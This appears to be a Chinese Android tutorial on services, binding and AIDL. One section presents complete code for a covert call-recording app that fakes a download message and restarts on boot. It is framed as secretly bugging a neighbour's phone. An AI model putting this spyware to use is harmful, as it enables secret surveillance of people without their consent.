四大组件之服务、AIDL

进程概念介绍

  • 进程和程序:在内存里运行着的是进程。硬盘上的可行行文件是程序。
  • 进程和线程:程序的主体就是进程。一个进程里面可以有很多个子线程。
  • Android 启动一个应用的时候会自动创建一个进程和线程,也就是主线程,我们的四大组件都是运行在主线程的。
  • 进程的生命周期:当内存不足的时候,需要杀掉一些进程,优先级越低越容易被杀掉
    1. Foreground process 前台进程。用户正在操作的进程。
      • 执行了 onResume 的 Activity
      • 正在执行生命周期方法的 Activity、Service、BroadcastReceiver
      • 有绑定服务到可操作界面的进程
    2. Visible process 可见进程。已经不可操作,但是仍然可见的进程
      • 执行了 onPause 的 Activity
      • 有绑定服务到可见界面的进程
    3. Service process 服务进程。开启服务,同时没有可操作或可见界面的进程。
    4. Background process 后台进程。只有不可见界面的进程。
      • 进程里只有执行了 onStop 的 Activity
    5. Empty process 空进程。不包含四大组件的进程。

startService 方式开启服务的特点

Android 里的服务是一个在后台运行的组件,是没有界面的 Actvitiy

  • 退出开启服务的界面后,服务仍然在运行
  • 要关闭服务只能是调用了 stopService 方法 ,或者用户从系统设置里关闭

startService 的生命周期

启动到关闭;重复启动以及重复关闭;退出启动界面

  • onCreate 只会在第一次启动时执行
  • onStartCommand 在每一次调用 startService 启动服务的时候都会执行
  • onDestroy 只会在服务销毁的只会执行一次

线程和服务的区别

当退出主界面后,在系统设置里可以看到服务,但是看不到子线程

  • 当进程里没有四大组件运行,只有一个子线程的时候,是一个空进程,进程随时可能被回收
  • 当进程只有一个服务的时候,是一个服务进程,不容易被杀死。
  • 服务是运行在主线程的,如果要做耗时操作,需要开启子线程。

电话窃听器案例

录音需要权限 RECORD_AUDIO, 异常里看不到权限

  • 作为一名特工,党又一次给你安排任务。给隔壁老王安装一个监听软件,将他所有的通话都录音下来。
  • 清单文件
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.itheima.phonelistenerservice"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="17" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name="com.itheima.phonelistenerservice.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <!-- 3.在清单文件注册 -->
        <service android:name="com.itheima.phonelistenerservice.PhoneListenerService">
        </service>

        <receiver android:name="com.itheima.phonelistenerservice.BootReceiver">
            <intent-filter >
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
            </intent-filter>
        </receiver>
    </application>

</manifest>
  • 主界面代码
    // 开启后台今天服务
    public void click(View view) {
        // 特工的职业素养
        Toast.makeText(MainActivity.this, "正在下载,请稍后~~~~", 0).show();

        // 开启监听服务
        Intent intent = new Intent(MainActivity.this, PhoneListenerService.class);
        startService(intent);
    }
  • 服务里的代码
// 1. 继承 Service
public class PhoneListenerService extends Service {

    // 2. 处理生命周期方法
    @Override
    public void onCreate() {
        super.onCreate();

        // 注册电话监听
        TelephonyManager manager = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
        manager.listen(new PhoneStateListener(){

            private MediaRecorder recorder;

            @Override
            public void onCallStateChanged(int state, String incomingNumber) {
                System.out
                        .println("onCallStateChanged,state="+state+";incomingNumber="+incomingNumber);

                // 判断电话状态
                switch (state) {
                case TelephonyManager.CALL_STATE_IDLE:
                    // 空闲或者挂断电话。释放资源
                    System.out.println("挂断电话,释放录音资源");

                    // 释放硬件资源
                    if (recorder!=null) {
                        recorder.stop();
                        recorder.reset();   // You can reuse the object by going back to setAudioSource() step
                        recorder.release(); // Now the object cannot be reused
                    }
                    break;
                case TelephonyManager.CALL_STATE_RINGING:
                    // 来电响铃。准备硬件资源
                    System.out.println("电话响铃,准备录音资源");

                     try {
                         recorder = new MediaRecorder();
                         // 设置录制的声音来源。注意:模拟器上只能使用 MIC
                         recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
                         // 设置音频格式
                         recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
                         // 设置音频的编码
                         recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
                         // 设置保存路径
                         recorder.setOutputFile("/mnt/sdcard/luyin.3gp");
                         // 准备硬件资源
                        recorder.prepare();
                    } catch (IllegalStateException e) {
                        e.printStackTrace();
                    } catch (IOException e) {
                        // TODO Auto-generated catch block
                        e.printStackTrace();
                    }


                    break;
                case TelephonyManager.CALL_STATE_OFFHOOK:
                    // 接通的电话。开始录音
                    System.out.println("电话接通,开始录音");

                     // 开始录音
                     recorder.start();   // Recording is now started

                    break;
                }

            }

        }, PhoneStateListener.LISTEN_CALL_STATE);
    }


    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

}
  • 开机启动的代码
public class BootReceiver extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent intent) {
        System.out.println("BootReceiver.onReceive,");

        // 开机时启动监听服务
        Intent service = new Intent(context, PhoneListenerService.class);
        context.startService(service);
    }

}

使用服务注册特殊的广播接收者

  • 后台服务的代码
public class ScreenService extends Service {

    private ScreenReceiver receiver;

    @Override
    public void onCreate() {
        super.onCreate();

        IntentFilter filter = new IntentFilter();
        filter.addAction("android.intent.action.SCREEN_OFF");
        filter.addAction("android.intent.action.SCREEN_ON");
        receiver = new ScreenReceiver();
        // 动态注册广播接收者
        registerReceiver(receiver, filter );
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
        // 服务关闭时,注销动态的广播接收者
        unregisterReceiver(receiver);
    }

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

}
  • 主界面的代码
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);


        // 开启后台服务,监听屏幕状态
        Intent intent = new Intent(MainActivity.this, ScreenService.class);
        startService(intent);
    }

bindService 开启服务的特点

  • onCreate 只在第一次启动时执行
  • onBind 一个 Activity 只能绑定一次
  • onDestroy 当所有已经绑定的界面都解绑之后,才会执行
  • 同生共死,当绑定的界面退出之后,会自动解绑,并关闭服务
  • 系统设置里不可见,对用户来说是隐形的

为什么要引入 bindService

  • Service对象是系统创建,我们没有对象来调用服务里的方法.

  • 可以被多个Activity绑定,重用代码

  • Activity的代码更干净

通过 bindService 方式调用服务里面方法的过程

  • 创建一个 BanZhengService,并提供 banzheng 方法
  • 在 BanZhengService 里创建 MyBinder 继承 Binder,并提供一个 callBanZheng 方法
  • 在 BanZhengService 的 onBind 方法里返回一个 MyBinder 的对象
  • 在 Activity 里绑定服务,并创建 MyConn 实现 ServiceConnection 接口
  • 在 MyConn 的 onServiceConnected 获取到传递过来的 MyBinder 对象
  • 使用 MyBInder 对象访问服务里的方法
  • 服务里的代码
// 1. 继承 Service
public class BanZhengService extends Service {

    // 2. 处理生命周期方法

    @Override
    public IBinder onBind(Intent intent) {
        System.out.println("BanZhengService.onBind,");
        return new MyBinder();
    }

    // 派出所:提供办证业务,但是不允许外部访问
    private void banzheng(int money) {
        if (money > 200) {
            System.out.println("有钱能使鬼推磨,这证我给你办了");
        } else {
            System.out.println("巧妇难为无米之炊,这事难哪");
        }
    }

    // 开放一个代理人,代理办证
    public class MyBinder extends Binder{

        // 提供代理方法,处理办证功能
        public void callBanZheng(int money) {
            banzheng(money);
        }

    }

}
  • Activity里的代码
public class MainActivity extends Activity {

    private MyConn conn;
    private MyBinder binder;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        // 绑定服务
        Intent service = new Intent(MainActivity.this, BanZhengService.class);
        conn = new MyConn();
        bindService(service , conn, BIND_AUTO_CREATE);
    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
        // 解绑服务
        unbindService(conn);
    }

    // 调用服务里的办证方法
    public void click(View view) {
        // 请求代理人帮忙办证
        binder.callBanZheng(199);
    }

    // 绑定服务时需要传递的对象
    private class MyConn implements ServiceConnection{

        @Override
        // 在服务绑定成功时被调用
        public void onServiceConnected(ComponentName name, IBinder service) {
            System.out.println("MainActivity.onServiceConnected,service="+service);
            // 连接成功,获取代理人对象
            binder = (MyBinder) service;
        }

        @Override
        // 在服务解绑的时候被调用
        public void onServiceDisconnected(ComponentName name) {

        }

    }
}

通过接口方式调用服务里面的方法

  • 创建 IService 接口,定义 callBanZheng 方法
  • 创建 MyBinder 类继承 Binder 并实现 IService 接口,并实现 callBanZheng 方法。
  • 在 onBind 方法 返回 MyBinder 对象
  • 在 Activity 里从 onServiceConnected 方法将 IBinder 对象转换为 IService 类型
  • 调用 IService 实例的方法
  • 定义接口
public interface IService {

    void callBanZheng(int money);
}
  • 创建 MyBinder
    // 开放一个代理人,代理办证
    public class MyBinder extends Binder implements IService{

        // 提供代理方法,处理办证功能
        public void callBanZheng(int money) {
            banzheng(money);
        }

        public void callDaMaJiang() {
            daMaJiang();
        }

        public void callDouDiZhu() {
            douDiZhu();
        }

    }
  • 在 Activity 里获取 IService 实例
    // 绑定服务时需要传递的对象
    private class MyConn implements ServiceConnection{

        @Override
        // 在服务绑定成功时被调用
        public void onServiceConnected(ComponentName name, IBinder service) {
            System.out.println("MainActivity.onServiceConnected,service="+service);
            // 连接成功,获取代理人对象
            iService = (IService) service;
        }

        @Override
        // 在服务解绑的时候被调用
        public void onServiceDisconnected(ComponentName name) {

        }

    }

百度用音乐盒框架

先使用startService还是bindServie

  • 主界面提供按钮:播放、暂停、恢复播放 – 需要 bindService
  • 当退出主界面后:继续播放音乐 – 需要 startService
  • 一般是先 startService,再 bindService,当关闭服务的时候,先 unbindService,再 stopService
  • 服务的代码
package com.itheima.music;

import android.app.Service;
import android.content.Intent;
import android.os.Binder;
import android.os.IBinder;

// 1. 继承 Service
public class MusicService extends Service {
    // 2. 处理生命周期方法

    @Override
    public void onCreate() {
        super.onCreate();
        System.out.println("MusicService.onCreate,");
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        System.out.println("MusicService.onStartCommand,");
        return super.onStartCommand(intent, flags, startId);
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
        System.out.println("MusicService.onDestroy");
    }

    @Override
    public IBinder onBind(Intent intent) {
        System.out.println("MusicService.onBind,");
        return new MyBinder();
    }

    @Override
    public boolean onUnbind(Intent intent) {
        System.out.println("MusicService.onUnbind");
        return super.onUnbind(intent);
    }
    // 播放音乐
    private void play() {
        System.out.println("MusicService.开始播放音乐");
    }

    // 暂停播放
    private void pause() {
        System.out.println("MusicService.停止播放");
    }
    // 恢复播放
    private void replay() {
        System.out.println("MusicService.恢复播放");
    }

    // 创建中间人
    private class MyBinder extends Binder implements IService{

        @Override
        public void callPlay() {
            play();
        }

        @Override
        public void callPause() {
            pause();
        }

        @Override
        public void callReplay() {
            replay();
        }

    }
}
  • 接口的代码
package com.itheima.music;

public interface IService {
    // 播放
    void callPlay();
    // 暂停
    void callPause();
    // 恢复播放
    void callReplay();
}
  • MainActivity 的代码
public class MainActivity extends Activity {

    private MyConnection connection;
    private IService iService;

    private final class MyConnection implements
            ServiceConnection {

        @Override
        // 解绑成功
        public void onServiceDisconnected(ComponentName name) {

        }

        @Override
        // 绑定成功
        public void onServiceConnected(ComponentName name, IBinder service) {
            iService = (IService) service;
        }
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        // 开启音乐服务
        Intent intent = new Intent(MainActivity.this, MusicService.class);
        startService(intent);
        connection = new MyConnection();
        bindService(intent, connection, BIND_AUTO_CREATE);
    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
        // 解绑服务
        unbindService(connection); 
    }

    // 播放音乐
    public void click1(View view) {
        iService.callPlay();
    }

    // 暂停播放
    public void click2(View view) {
        iService.callPause();
    }

    // 恢复播放
    public void click3(View view) {
        iService.callReplay();
    }
}

AIDL 介绍

远程服务、本地服务;进程间通信:不在一个包无法调用对方方法

  • 远程服务的处理

    • 创建一个 IService 接口,并将后缀名修改为 aidl。并删掉文件里的 public。
    • 创建 MyBinder 继承自动生成的 Stub 抽象类,并实现里面的方法。
    • 在 onBind 方法里返回一个 MyBinder 对象
  • 本地项目的处理

    • 创建和远程服务相同 aidl 文件,并放到远程服务相同的包名下

    • 绑定服务,并在 MyConn 的 onServiceConnected 方法里将 IBinder 对象转换为 IService 类型

    iService = IService.Stub.asInterface(service);

    • 调用 IService 对象的方法

AIDL 的应用场景 欢乐斗地主 使用 支付宝 充值

  • 需求:支付宝提供服务付款服务。欢乐斗地主调用支付宝充值。
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值